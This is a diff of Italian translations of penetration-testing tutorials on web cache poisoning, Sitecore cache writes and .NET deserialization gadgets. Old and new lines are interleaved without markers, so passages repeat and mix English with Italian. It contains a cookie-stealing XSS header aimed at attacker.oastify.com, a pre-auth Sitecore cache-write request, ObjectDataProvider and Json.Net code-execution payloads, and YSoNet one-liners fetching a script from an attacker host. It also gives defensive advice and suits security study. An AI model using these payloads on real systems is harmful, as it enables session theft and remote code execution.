- Il CDN rimuoveva gli header di cache ma esisteva una cache interna/origin. Il CDN inoltre auto-cacheava le richieste che terminavano con estensioni statiche (es. `.js`), mentre il WAF applicava ispezioni di contenuto più deboli alle GET per asset statici.
- Anomalie nel flusso di richiesta permettevano a una richiesta verso un path `.js` di influenzare la cache key/variant usata per il successivo HTML principale, abilitando XSS cross-user tramite reflection dell'header.
Ricetta pratica (osservata su un popolare CDN/WAF):
Ricetta pratica (osservata su un CDN/WAF popolare):
1) Da un IP pulito (evitare downgrade basati sulla reputazione precedente), imposta un `User-Agent` malevolo via browser o Burp Proxy Match & Replace.
1) Da un IP pulito (evita downgrades basati sulla reputazione), imposta un `User-Agent` maligno tramite browser o Burp Proxy Match & Replace.
2) In Burp Repeater, prepara un gruppo di due richieste e usa "Send group in parallel" (la modalità single-packet funziona meglio):
- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
- Immediately after: GET the main page (`/`).
3) The CDN/WAF routing race plus the auto-cached `.js` often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same `Vary` dimensions like `User-Agent`).
- Prima richiesta: GET di una risorsa `.js` sullo stesso origin mentre invii il tuo `User-Agent` maligno.
- Immediatamente dopo: GET della pagina principale (`/`).
3) La race di routing del CDN/WAF insieme al `.js` auto-cacheato spesso semina una variante HTML in cache avvelenata che viene poi servita ad altri visitatori che condividono le stesse condizioni di cache key (es., le stesse dimensioni `Vary` come `User-Agent`).
Esempio header payload (per esfiltrare cookie non-HttpOnly):
Esempio di header payload (per esfiltrare cookie non-HttpOnly):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
@ -192,24 +192,24 @@ Operational tips:
Impact:
- Se i cookie di sessione non sono `HttpOnly`, è possibile un zero-click ATO esfiltrando in massa `document.cookie` da tutti gli utenti a cui viene servito l'HTML avvelenato.
- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
Defenses:
- Smettere di riflettere gli header della richiesta nell'HTML; se inevitabile, applicare una codifica contestuale rigorosa. Allineare le politiche di cache del CDN e dell'origin ed evitare di variare in base ad header non attendibili.
- Assicurarsi che il WAF applichi l'ispezione del contenuto in modo consistente alle richieste `.js` e ai percorsi statici.
- Impostare `HttpOnly` (e `Secure`, `SameSite`) sui cookie di sessione.
- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
Un pattern specifico di Sitecore permette scritture non autenticate nell'HtmlCache abusando degli handler XAML pre‑auth e della reflection di AjaxScriptManager. Quando viene raggiunto l'handler `Sitecore.Shell.Xaml.WebControl`, è disponibile un `xmlcontrol:GlobalHeader` (derivato da `Sitecore.Web.UI.WebControl`) e la seguente reflective call è consentita:
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Questa scrive HTML arbitrario sotto una cache key scelta dall'attaccante, consentendo un avvelenamento preciso una volta note le cache key.
Questo scrive HTML arbitrario sotto un attacker‑chosen cache key, permettendo un avvelenamento preciso una volta che i cache keys sono noti.
Per i dettagli completi (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
@ -217,72 +217,72 @@ Per i dettagli completi (cache key construction, ItemService enumeration and a c
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Vulnerable Examples
## Esempi vulnerabili
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS inoltrava il fragment presente nella URL senza rimuoverlo e generava la cache key usando solo host, path e query (ignorando il fragment). Quindi la request `/#/../?r=javascript:alert(1)` veniva inviata al backend come `/#/../?r=javascript:alert(1)` e la cache key non conteneva il payload, solo host, path e query.
ATS inoltrava il fragment all'interno dell'URL senza rimuoverlo e generava il cache key usando solo host, path e query (ignorando il fragment). Quindi la richiesta `/#/../?r=javascript:alert(1)` veniva inviata al backend come `/#/../?r=javascript:alert(1)` e il cache key non conteneva il payload, solo host, path e query.
### GitHub CP-DoS
Inviare un valore errato nell'header content-type scatenava una risposta 405 memorizzata nella cache. La cache key conteneva il cookie quindi era possibile attaccare solo utenti non autenticati.
L'invio di un valore errato nell'header content-type scatenava una risposta 405 memorizzata nella cache. Il cache key conteneva il cookie quindi era possibile attaccare solo utenti non autenticati.
### GitLab + GCP CP-DoS
GitLab usa i GCP buckets per memorizzare contenuti statici. **GCP Buckets** supportano l'header **`x-http-method-override`**. Quindi era possibile inviare l'header `x-http-method-override: HEAD` e avvelenare la cache facendola ritornare un corpo di risposta vuoto. Poteva inoltre supportare il metodo `PURGE`.
GitLab usa GCP buckets per memorizzare contenuti statici. **GCP Buckets** supportano l'**header `x-http-method-override`**. Quindi era possibile inviare l'header `x-http-method-override: HEAD` e avvelenare la cache provocando il ritorno di un body di risposta vuoto. Potrebbe anche supportare il metodo `PURGE`.
### Rack Middleware (Ruby on Rails)
Nelle applicazioni Ruby on Rails viene spesso utilizzato il Rack middleware. Lo scopo del codice Rack è prendere il valore dell'header **`x-forwarded-scheme`** e impostarlo come scheme della request. Quando viene inviato l'header `x-forwarded-scheme: http` si verifica un redirect 301 alla stessa posizione, potenzialmente causando una Denial of Service (DoS) su quella risorsa. Inoltre, l'applicazione potrebbe riconoscere l'header `X-forwarded-host` e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript dal server dell'attaccante, rappresentando un rischio di sicurezza.
Nelle applicazioni Ruby on Rails, il middleware Rack è spesso utilizzato. Lo scopo del codice Rack è prendere il valore dell'header **`x-forwarded-scheme`** e impostarlo come scheme della richiesta. Quando viene inviato l'header `x-forwarded-scheme: http`, avviene un redirect 301 alla stessa posizione, potenzialmente causando un Denial of Service (DoS) su quella risorsa. Inoltre, l'applicazione potrebbe riconoscere l'header `X-forwarded-host` e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript da un server dell'attaccante, comportando un rischio per la sicurezza.
### 403 and Storage Buckets
Cloudflare in passato metteva in cache le risposte 403. Tentare di accedere a S3 o Azure Storage Blobs con Authorization header errati restituiva un 403 che veniva memorizzato nella cache. Anche se Cloudflare ha smesso di mettere in cache le risposte 403, questo comportamento potrebbe essere ancora presente in altri servizi proxy.
Cloudflare in passato cacheggiava risposte 403. Tentare di accedere a S3 o Azure Storage Blobs con header Authorization errati causava una risposta 403 che veniva memorizzata nella cache. Anche se Cloudflare ha smesso di cacheggiare le risposte 403, questo comportamento potrebbe essere ancora presente in altri proxy.
### Injecting Keyed Parameters
### Iniezione di parametri con chiave
Le cache spesso includono parametri GET specifici nella cache key. Per esempio, Varnish usato da Fastly memorizzava il parametro `size` nelle richieste. Tuttavia, se veniva inviata anche una versione URL-encoded del parametro (es. `siz%65`) con un valore errato, la cache key sarebbe stata costruita usando il parametro `size` corretto. Però il backend avrebbe processato il valore nel parametro URL-encoded. URL-encoding del secondo parametro `size` portava alla sua omissione dalla cache ma al suo utilizzo dal backend. Assegnare a questo parametro il valore 0 produceva un errore 400 Bad Request cacheable.
Le cache spesso includono specifici parametri GET nel cache key. Per esempio, il Varnish di Fastly memorizzava nella cache il parametro `size` nelle richieste. Tuttavia, se veniva inviata anche una versione URL-encoded del parametro (es., `siz%65`) con un valore errato, il cache key sarebbe stato costruito usando il parametro corretto `size`. Eppure, il backend avrebbe processato il valore nel parametro URL-encoded. URL-encoding del secondo parametro `size` portava alla sua omissione da parte della cache ma al suo utilizzo dal backend. Assegnare il valore 0 a questo parametro portava a un errore 400 Bad Request cacheabile.
### User Agent Rules
### Regole User Agent
Alcuni sviluppatori bloccano richieste con user-agents corrispondenti a tool ad alto traffico come FFUF o Nuclei per gestire il carico del server. Ironia della sorte, questo approccio può introdurre vulnerabilità come cache poisoning e DoS.
Alcuni sviluppatori bloccano richieste con user-agent che corrispondono a quelli di tool ad alto traffico come FFUF o Nuclei per gestire il carico del server. Ironia della sorte, questo approccio può introdurre vulnerabilità come cache poisoning e DoS.
### Illegal Header Fields
### Campi header illegali
L'[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi degli header. Gli header che contengono caratteri fuori dall'intervallo **tchar** dovrebbero idealmente causare una risposta 400 Bad Request. In pratica, i server non sempre aderiscono a questo standard. Un esempio notevole è Akamai, che inoltra header con caratteri non validi e memorizza qualsiasi errore 400, purché l'header `cache-control` non sia presente. È stato identificato un pattern sfruttabile dove l'invio di un header con un carattere illegale, come `\`, avrebbe prodotto un 400 Bad Request memorizzabile nella cache.
[https://datatracker.ietf.org/doc/html/rfc7230](https://datatracker.ietf.org/doc/html/rfc7230) specifica i caratteri accettabili nei nomi degli header. Gli header che contengono caratteri al di fuori dell'intervallo **tchar** dovrebbero idealmente scatenare una risposta 400 Bad Request. In pratica, i server non si conformano sempre a questo standard. Un esempio notevole è Akamai, che inoltra header con caratteri non validi e cacheggia qualsiasi errore 400, purché l'header `cache-control` non sia presente. È stato identificato un pattern sfruttabile in cui l'invio di un header con un carattere illegale, come `\`, risultava in un 400 Bad Request cacheabile.
### Finding new headers
### Trovare nuovi header
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Deception
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
L'obiettivo di Cache Deception è far sì che i client **carichino risorse che verranno salvate nella cache con le loro informazioni sensibili**.
First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
Per prima cosa nota che **extensions** such as `.css`, `.js`, `.png` etc sono di solito **configurate** per essere **salvate** nella **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
Other things to test:
Altre cose da testare:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Use lesser known extensions such as_ `.avif`
- _Usa estensioni meno conosciute come_ `.avif`
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
Un altro esempio molto chiaro si trova in questo write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Nell'esempio, viene spiegato che se carichi una pagina non esistente come _http://www.example.com/home.php/non-existent.css_ il contenuto di _http://www.example.com/home.php_ (**con le informazioni sensibili dell'utente**) verrà restituito e il server di cache salverà il risultato.\
Poi, l'**attaccante** può accedere a _http://www.example.com/home.php/non-existent.css_ nel proprio browser e osservare le **informazioni confidenziali** degli utenti che hanno effettuato l'accesso prima.
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.
Nota che il **cache proxy** dovrebbe essere **configurato** per **cacheggiare** i file **in base** all'**estensione** del file (_.css_) e non basarsi sul content-type. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un content-type `text/html` invece di un `text/css` mime type.
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Scopri qui come eseguire [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Automatic Tools
## Strumenti automatici
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
- [**toxicache**](https://github.com/xhzeem/toxicache): scanner Golang per trovare vulnerabilità di web cache poisoning in una lista di URL e testare diverse tecniche di injection.
## References
## Riferimenti
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)

72
src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
View File

@ -1,38 +1,38 @@
# Deserializzazione .Net di base (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
# Deserializzazione .Net di base (ObjectDataProvider gadget, ExpandedWrapper, e Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Questo post è dedicato a **capire come il gadget ObjectDataProvider viene sfruttato** per ottenere RCE e **come** le librerie di serializzazione **Json.Net e xmlSerializer possono essere abusate** con quel gadget.
Questo post è dedicato a **capire come il gadget ObjectDataProvider viene sfruttato** per ottenere RCE e **in che modo** le librerie di serialization **Json.Net e xmlSerializer possono essere abusate** con quel gadget.
## ObjectDataProvider Gadget
Dalla documentazione: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Sì, è una spiegazione strana, quindi vediamo cosa ha questa classe di così interessante: questa classe permette di **incapsulare un oggetto arbitrario**, usare _**MethodParameters**_ per **impostare parametri arbitrari,** e poi **usare MethodName per chiamare una funzione arbitraria** dell'oggetto arbitrario dichiarata usando i parametri arbitrari.\
Di conseguenza, l'**oggetto** arbitrario **eseguirà** una **funzione** con **parametri durante la deserializzazione.**
Sì, è una spiegazione strana, quindi vediamo cosa ha di tanto interessante questa classe: questa classe permette di **wrappare un oggetto arbitrario**, usare _**MethodParameters**_ per **impostare parametri arbitrari,** e poi **usare MethodName per chiamare una funzione arbitraria** dell'oggetto arbitrario dichiarato usando i parametri arbitrari.\
Pertanto, l'**oggetto** arbitrario **eseguirà** una **funzione** con **parametri durante la deserializzazione.**
### **Come è possibile**
Il namespace **System.Windows.Data**, presente all'interno di **PresentationFramework.dll** in `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, è dove ObjectDataProvider è definito e implementato.
Lo namespace **System.Windows.Data**, presente all'interno di **PresentationFramework.dll** in `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, è dove ObjectDataProvider è definito e implementato.
Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) puoi **ispezionare il codice** della classe che ci interessa. Nell'immagine sotto vediamo il codice di **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
![](<../../images/image (427).png>)
Come si può osservare quando `MethodName` viene impostato viene chiamato `base.Refresh()`, diamo un'occhiata a cosa fa:
Come puoi notare quando `MethodName` viene impostato viene chiamato `base.Refresh()`, diamo un'occhiata a cosa fa:
![](<../../images/image (319).png>)
Ok, continuiamo a vedere cosa fa `this.BeginQuery()`. `BeginQuery` è sovrascritto da `ObjectDataProvider` e questo è ciò che fa:
Ok, continuiamo a vedere cosa fa `this.BeginQuery()`. `BeginQuery` è overrideato da `ObjectDataProvider` e questo è ciò che fa:
![](<../../images/image (345).png>)
Nota che alla fine del codice sta chiamando `this.QueryWorke(null)`. Vediamo cosa esegue:
Nota che alla fine del codice chiama `this.QueryWorke(null)`. Vediamo cosa esegue:
![](<../../images/image (596).png>)
Nota che questo non è il codice completo della funzione `QueryWorker` ma mostra la parte interessante: il codice **chiama `this.InvokeMethodOnInstance(out ex);`** questa è la riga in cui viene **invocato il metodo impostato**.
Nota che questo non è il codice completo della funzione `QueryWorker` ma mostra la parte interessante: il codice **chiama `this.InvokeMethodOnInstance(out ex);`** questa è la riga dove viene **invocato il metodo impostato**.
Se vuoi verificare che impostando semplicemente il _**MethodName**_** sarà eseguito**, puoi eseguire questo codice:
Se vuoi verificare che semplicemente impostando il _**MethodName**_ **verrà eseguito**, puoi eseguire questo codice:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,13 +52,13 @@ myODP.MethodName = "Start";
}
}
```
Nota che è necessario aggiungere come riferimento _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ per caricare `System.Windows.Data`
Nota che è necessario aggiungere come reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ per caricare `System.Windows.Data`
## ExpandedWrapper
Usando l'exploit precedente ci saranno casi in cui l'**oggetto** verrà **deserializzato come** un'istanza _**ObjectDataProvider**_ (per esempio nella DotNetNuke vuln, usando XmlSerializer, l'oggetto è stato deserializzato usando `GetType`). In questi casi non si avrà **alcuna conoscenza del tipo di oggetto che è incapsulato** nell'istanza _ObjectDataProvider_ (ad esempio `Process`). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Usando l'exploit precedente ci saranno casi in cui l'**object** verrà **deserialized as** un'istanza di _**ObjectDataProvider**_ (per esempio nella DotNetNuke vuln, usando XmlSerializer, l'oggetto è stato deserialized usando `GetType`). In tal caso non si avrà **conoscenza del tipo di oggetto che è incapsulato** nell'istanza _ObjectDataProvider_ (ad esempio `Process`). Puoi trovare più [informazioni sulla DotNetNuke vuln qui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Questa classe permette di **specificare i tipi di oggetto degli oggetti che sono incapsulati** in una data istanza. Quindi, questa classe può essere usata per incapsulare un oggetto sorgente (_ObjectDataProvider_) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
Questa classe permette di s**pecificare i tipi di oggetto degli oggetti che sono incapsulati** in una data istanza. Quindi, questa classe può essere usata per incapsulare un oggetto sorgente (_ObjectDataProvider_) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
Questo è molto utile per casi come quello presentato prima, perché saremo in grado di **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
Puoi verificare questo wrapper con il seguente codice:
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
Nella [official web page](https://www.newtonsoft.com/json) è indicato che questa libreria permette di **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Quindi, se potessimo **deserialize the ObjectDataProvider gadget**, potremmo causare una **RCE** semplicemente deserializzando un oggetto.
Nella [pagina ufficiale](https://www.newtonsoft.com/json) è indicato che questa libreria permette di **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Quindi, se potessimo **deserialize the ObjectDataProvider gadget**, potremmo causare una **RCE** semplicemente deserializzando un oggetto.
### Esempio Json.Net
Prima di tutto, vediamo un esempio su come **serialize/deserialize** un oggetto usando questa libreria:
Prima di tutto vediamo un esempio di come **serialize/deserialize** un oggetto usando questa libreria:
```java
using System;
using Newtonsoft.Json;
@ -147,7 +147,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
In questo codice puoi **test the exploit**, eseguilo e vedrai che viene eseguito calc:
In questo codice puoi **testare l'exploit**, eseguilo e vedrai che viene eseguito calc:
```java
using System;
using System.Text;
@ -186,25 +186,25 @@ TypeNameHandling = TypeNameHandling.Auto
```
## Catene di gadget .NET avanzate (YSoNet & ysoserial.net)
La tecnica ObjectDataProvider + ExpandedWrapper introdotta sopra è solo una delle MOLTE catene di gadget che possono essere sfruttate quando un'applicazione esegue una **deserializzazione .NET non sicura**. Strumenti moderni per red-team come **[YSoNet](https://github.com/irsdl/ysonet)** (e il più vecchio [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizzano la creazione di **grafi di oggetti maligni pronti all'uso** per dozzine di gadget e formati di serializzazione.
La tecnica ObjectDataProvider + ExpandedWrapper introdotta sopra è solo una delle MOLTE gadget chains che possono essere abusate quando un'applicazione esegue unsafe .NET deserialization. Moderni tool per red-team come **[YSoNet](https://github.com/irsdl/ysonet)** (e il più vecchio [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizzano la creazione di **grafi di oggetti maligni pronti all'uso** per dozzine di gadget e formati di serializzazione.
Di seguito una referenza condensata delle catene più utili incluse in *YSoNet* insieme a una rapida spiegazione del loro funzionamento e comandi di esempio per generare i payload.
Di seguito un riferimento condensato delle catene più utili incluse in *YSoNet* insieme a una breve spiegazione del loro funzionamento e comandi di esempio per generare i payload.
| Gadget Chain | Idea chiave / Primaria | Serializzatori comuni | YSoNet one-liner |
|--------------|------------------------|-----------------------|------------------|
| Catena gadget | Idea chiave / Primitiva | Serializer comuni | YSoNet one-liner |
|--------------|-------------------------|-------------------|------------------|
| **TypeConfuseDelegate** | Corrompe il record `DelegateSerializationHolder` in modo che, una volta materializzato, il delegate punti a *qualsiasi* metodo fornito dall'attaccante (es. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Abusa di `System.Workflow.ComponentModel.ActivitySurrogateSelector` per *bypassare il type-filtering di .NET ≥4.8* e invocare direttamente il **costruttore** di una classe fornita o **compilare** un file C# al volo | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **ActivitySurrogateSelector** | Abusa di `System.Workflow.ComponentModel.ActivitySurrogateSelector` per *bypassare il type-filtering di .NET ≥4.8* e invocare direttamente il **costruttore** di una classe fornita o **compilare** al volo un file C# | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Sfrutta la rappresentazione **XML legacy** di `System.Data.DataSet` per istanziare tipi arbitrari riempiendo i campi `<ColumnMapping>` / `<DataType>` (opzionalmente falsificando l'assembly con `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Su runtime con WPF (> .NET 5) concatena getter di proprietà fino a raggiungere `System.CodeDom.Compiler.CompilerResults`, poi *compila* o *carica* una DLL fornita con `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Usa WPF `System.Windows.Data.ObjectDataProvider` per chiamare un metodo statico arbitrario con argomenti controllati. YSoNet aggiunge una comoda variante `--xamlurl` per ospitare il XAML maligno da remoto | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Incorpora `ScriptBlock` dentro `System.Management.Automation.PSObject` che viene eseguito quando PowerShell deserializza l'oggetto | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
| **GetterCompilerResults** | Su runtime con WPF abilitato (> .NET 5) concatena getter di proprietà fino a raggiungere `System.CodeDom.Compiler.CompilerResults`, poi *compila* o *carica* una DLL fornita con `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (ripasso) | Usa WPF `System.Windows.Data.ObjectDataProvider` per chiamare un metodo statico arbitrario con argomenti controllati. YSoNet aggiunge una comoda variante `--xamlurl` per ospitare l'XAML maligno in remoto | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Incapsula uno `ScriptBlock` dentro `System.Management.Automation.PSObject` che viene eseguito quando PowerShell deserializza l'oggetto | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Tutti i payload sono **written to *stdout*** di default, rendendo banale reindirizzarli verso altri strumenti (es. generatori ViewState, encoder base64, client HTTP).
> All payloads are **written to *stdout*** by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).
### Building / Installing YSoNet
### Compilazione / Installazione di YSoNet
Se non sono disponibili binari pre-compilati sotto *Actions ➜ Artifacts* / *Releases*, il seguente one-liner in **PowerShell** configurerà un ambiente di build, clonerà il repository e compilerà tutto in *Release* mode:
Se non sono disponibili binari precompilati sotto *Actions ➜ Artifacts* / *Releases*, la seguente one-liner **PowerShell** imposterà un ambiente di build, clonerà il repository e compilerà tutto in modalità *Release*:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@ -216,22 +216,22 @@ cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
Il file compilato `ysonet.exe` si trova sotto `ysonet/bin/Release/`.
Il file compilato `ysonet.exe` può quindi essere trovato in `ysonet/bin/Release/`.
### Rilevamento e hardening
* **Rilevare** processi figlio inaspettati di `w3wp.exe`, `PowerShell.exe`, o qualsiasi processo che deserializza dati forniti dall'utente (es. `MessagePack`, `Json.NET`).
* Abilitare e **applicare il filtraggio dei tipi** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) ogni volta che il legacy `BinaryFormatter` / `NetDataContractSerializer` non può essere rimosso.
* Dove possibile migrare a **`System.Text.Json`** o **`DataContractJsonSerializer`** con converter basati su whitelist.
* Bloccare assembly WPF pericolosi (`PresentationFramework`, `System.Workflow.*`) dal caricamento in processi web che non dovrebbero averne bisogno.
* **Rilevare** processi figlio inaspettati di `w3wp.exe`, `PowerShell.exe`, o di qualsiasi processo che deserializza dati forniti dall'utente (es. `MessagePack`, `Json.NET`).
* Abilitare e **applicare il filtraggio dei tipi** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *ecc.*) ogni volta che il legacy `BinaryFormatter` / `NetDataContractSerializer` non può essere rimosso.
* Dove possibile migrare a **`System.Text.Json`** o **`DataContractJsonSerializer`** con convertitori basati su whitelist.
* Bloccare il caricamento di assembly WPF pericolosi (`PresentationFramework`, `System.Workflow.*`) nei processi web che non dovrebbero mai averne bisogno.
## Sink reale: Sitecore convertToRuntimeHtml → BinaryFormatter
Un sink .NET pratico raggiungibile nei flussi autenticati di Sitecore XP Content Editor:
- Sink API: `Sitecore.Convert.Base64ToObject(string)` invoca `new BinaryFormatter().Deserialize(...)`.
- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, che cerca un elemento fratello con `id="{iframeId}_inner"` e legge un attributo `value` che viene trattato come dati serializzati codificati in base64. Il risultato viene castato a stringa e inserito nell'HTML.
- Percorso di trigger: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, che ricerca un elemento sibling con `id="{iframeId}_inner"` e legge un attributo `value` che viene trattato come dati serializzati codificati in base64. Il risultato viene convertito in stringa e inserito nell'HTML.
Minimal end‑to‑end (authenticated):
End-to-end minimo (autenticato):
```
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
@ -246,9 +246,9 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget: qualsiasi catena BinaryFormatter che restituisce una string (gli effetti collaterali vengono eseguiti durante la deserialization). Vedi YSoNet/ysoserial.net per generare payloads.
- Gadget: qualsiasi catena BinaryFormatter che restituisce una stringa (gli effetti collaterali vengono eseguiti durante la deserializzazione). Vedi YSoNet/ysoserial.net per generare payload.
Per una catena completa che inizia pre‑auth con HTML cache poisoning in Sitecore e conduce a questo sink:
Per una catena completa che inizia pre‑auth con HTML cache poisoning in Sitecore e porta a questo sink:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md

154
src/pentesting-web/file-upload/README.md
View File

